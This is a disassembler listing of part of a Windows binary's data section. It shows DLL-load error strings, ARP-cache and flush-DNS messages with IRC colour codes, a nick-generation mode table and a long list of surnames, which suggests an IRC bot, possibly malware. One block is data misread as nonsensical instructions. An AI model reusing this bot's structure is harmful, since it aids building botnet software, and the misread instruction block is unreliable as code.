aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
a_: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
; ---------------------------------------------------------------------------
loc_42E3C8: ; CODE XREF: ___:loc_42E3C8j
js short loc_42E3C8
inc edx
add [esi+edi*8+42h], ch
add [eax-2], ah
inc edx
add [esi+edi*8+42h], dl
add [eax-2], cl
inc edx
add [esi+edi*8], bh
inc edx
add [esi+edi*8], dh
inc edx
add [esi+edi*8], ch
inc edx
add [esi+edi*8], ah
inc edx
add [esi+edi*8], bl
inc edx
add [esi+edi*8], dl
inc edx
add [esi+edi*8], al
inc edx
add ah, bh
std
inc edx
add al, dh
std
inc edx
add al, ch
std
inc edx
add al, ah
std
inc edx
add al, bl
std
inc edx
add al, dl
std
inc edx
add ah, al
std
inc edx
add [eax-4FFFBD03h], bh
std
inc edx
add [ebp+edi*8-263FFBEh], ah
inc edx
add [eax-7BFFBD03h], dl
std
inc edx
add [ebp+edi*8+42h], bh
add [eax-3], dh
inc edx
add [ebp+edi*8+42h], ah
add [ebp+edi*8+42h], bl
add [eax-3], dl
inc edx
add [eax-3], cl
inc edx
add [eax-3], al
inc edx
add ds:0FD280042h[edi*8], dh
inc edx
add [eax], ah
std
inc edx
add [eax], bl
std
inc edx
add ds:0FD0C0042h[edi*8], dl
inc edx
; ---------------------------------------------------------------------------
db 0
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
